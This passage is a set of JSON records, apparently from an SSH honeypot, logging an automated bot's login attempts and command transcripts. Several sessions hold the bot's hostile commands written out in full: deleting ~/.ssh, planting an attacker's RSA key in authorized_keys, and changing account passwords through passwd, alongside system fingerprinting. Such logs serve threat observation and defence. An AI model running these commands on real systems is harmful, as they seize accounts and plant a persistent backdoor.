ls)"},{"seq":12,"at":"2026-08-27T12:33:35.251738+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:33:35.581417+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:33:36.444860+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:33:36.772013+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:33:37.110065+00:00","kind":"output","latency_ms":null,"data":" 12:33:37 up 7 days, 9:23, 0 user, load average: 0.28, 0.29, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:33:37.439227+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:33:38.179371+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:33:38.509180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:33:39.255901+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:33:39.586104+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:33:40.356013+00:00","kind":"output","latency_ms":null,"data":"top - 12:33:40 up 7 days, 9:23, 0 user, load average: 0.28, 0.29, 0.25\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:33:40.684851+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:33:40.944893+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:33:41.272024+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:33:41.709633+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:33:42.037049+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:33:42.377837+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:33:42.707057+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:33:44.562883+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:33:44.890676+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:33:45.704450+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12356789","method":"password","accepted":true,"tier":"other"}]} {"id":"4580ea74-454f-437d-883a-77f5f7308cc3","name":"gallant-sullen-crossbill","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37136,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:28.294874+00:00","ended_at":"2026-08-27T12:33:29.314411+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5b23193e-2268-4797-9866-87c0f8811dc9","name":"nautical-thrifty-wolverine","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37122,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:26.967275+00:00","ended_at":"2026-08-27T12:33:27.641572+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"99ccf506-6ffc-4033-8775-6988a850b13b","name":"whispering-placid-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":51354,"username":"tempuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:31:43.140989+00:00","ended_at":"2026-08-27T12:31:45.015186+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:31:15.276132+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:15.603932+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:19.830734+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:21.829212+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:22.169162+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin\\n3M1zK9iETKWr\\n3M1zK9iETKWr\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:31:22.481253+00:00","kind":"input","latency_ms":null,"data":"echo \"admin\\n3M1zK9iETKWr\\n3M1zK9iETKWr\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:31:22.808860+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:23.810322+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:24.139006+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:24.223666+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:24.278135+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:31:25.071155+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:25.399478+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:31:26.703122+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:31:27.032213+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:31:28.575738+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:31:28.902669+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:31:29.799390+00:00","kind":"output","latency_ms":null,"data":" 12:31:29 up 7 days, 9:21, 0 user, load average: 0.33, 0.24, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:31:30.136528+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:31:31.624228+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:31:31.959190+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:31:33.064736+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:31:33.391888+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:31:35.020429+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:35 up 7 days, 9:21, 0 user, load average: 0.33, 0.24, 0.22\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:31:35.350356+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:31:36.503486+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:31:36.836969+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:31:38.412898+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:31:38.742516+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:31:40.791279+00:00","kind":"output","latency_ms":null,"data":"tempuser"},{"seq":31,"at":"2026-08-27T12:31:41.119221+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:31:42.543679+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:31:43.143375+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:31:44.917412+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tempuser","password":"admin","method":"password","accepted":true,"tier":"other"}]} {"id":"c6734aa3-50aa-4019-b55a-52fb9955b1db","name":"faded-distant-skua","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51370,"username":"tempuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:18.039550+00:00","ended_at":"2026-08-27T12:31:19.732461+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"tempuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a6e06384-26b7-4430-bd1a-3a334790bfaf","name":"forlorn-quaint-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51358,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:16.355062+00:00","ended_at":"2026-08-27T12:31:17.384912+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1609ea5b-d2dc-4f1e-96b4-c9b871295286","name":"ruddy-humble-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":38402,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:42.393155+00:00","ended_at":"2026-08-27T12:29:44.480765+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:29:12.346840+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:29:12.675284+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:16.958606+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:18.144933+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:18.473169+00:00","kind":"input","latency_ms":null,"data":"echo -e \"test12345\\npXuCh5asZlbx\\npXuCh5asZlbx\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:29:18.804090+00:00","kind":"input","latency_ms":null,"data":"echo \"test12345\\npXuCh5asZlbx\\npXuCh5asZlbx\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:29:19.128661+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:20.429567+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:20.671095+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:29:20.722999+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:20.765300+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:29:22.278487+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:22.613322+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:29:23.909703+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:29:24.242725+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:29:26.332770+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:29:26.663861+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:29:28.375250+00:00","kind":"output","latency_ms":null,"data":" 12:29:28 up 7 days, 9:19, 0 user, load average: 0.13, 0.16, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:29:28.703000+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:29:30.787321+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:29:31.114660+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:29:32.021085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:29:32.348937+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:29:33.824131+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:33 up 7 days, 9:19, 0 user, load average: 0.13, 0.16, 0.15\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:29:34.150368+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:29:36.211114+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:29:36.540493+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:29:38.081176+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:29:38.406880+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:29:40.393000+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":31,"at":"2026-08-27T12:29:40.719007+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:29:42.067939+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:29:42.393989+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:29:44.383829+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"test12345","method":"password","accepted":true,"tier":"other"}]} {"id":"14aa3042-67a4-4881-b2b1-8310bb7ba4d7","name":"airy-humble-boar","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":38420,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:15.453202+00:00","ended_at":"2026-08-27T12:29:16.861202+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6280a327-465c-4df1-b5d5-b9675d7c5f1c","name":"earnest-wistful-adder","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":38414,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:13.457418+00:00","ended_at":"2026-08-27T12:29:14.802822+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"046b6074-3b9c-4437-be5f-664598711280","name":"foggy-snowy-galago","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":42818,"username":"kd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:27:40.954237+00:00","ended_at":"2026-08-27T12:27:41.855899+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T12:27:17.191596+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:27:17.518108+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:27:22.303863+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:27:24.046967+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:27:24.374051+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kd@123\\n37SIzpu3D2V8\\n37SIzpu3D2V8\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:27:24.703732+00:00","kind":"input","latency_ms":null,"data":"echo \"kd@123\\n37SIzpu3D2V8\\n37SIzpu3D2V8\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:27:25.028051+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:27:25.809039+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:27:26.251363+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:27:26.563199+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:27:26.889493+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:27:28.786055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:27:29.382731+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:27:31.195557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:27:31.525299+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:27:32.363408+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:27:32.695741+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:27:33.577777+00:00","kind":"output","latency_ms":null,"data":" 12:27:33 up 7 days, 9:17, 0 user, load average: 0.34, 0.31, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:27:33.903906+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:27:34.513166+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:27:34.844312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:27:35.440880+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:27:35.778928+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:27:36.393388+00:00","kind":"output","latency_ms":null,"data":"top - 12:27:36 up 7 days, 9:17, 0 user, load average: 0.34, 0.31, 0.24\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:27:36.728878+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:27:37.340783+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:27:37.982692+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:27:38.345283+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:27:38.679954+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:27:39.129321+00:00","kind":"output","latency_ms":null,"data":"kd"},{"seq":31,"at":"2026-08-27T12:27:39.456997+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:27:40.625308+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:27:40.955122+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:27:41.758339+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kd","password":"kd@123","method":"password","accepted":true,"tier":"other"}]} {"id":"22892b3d-d131-484e-917f-862a3ce159ef","name":"graceful-vivid-cuckoo","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":55848,"username":"kd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:27:20.268770+00:00","ended_at":"2026-08-27T12:27:22.206557+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"kd","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"07a8b002-e46c-4c82-8a4e-a0dd06cf8cd0","name":"autumn-buoyant-harrier","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":42824,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:27:18.578573+00:00","ended_at":"2026-08-27T12:27:19.616724+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 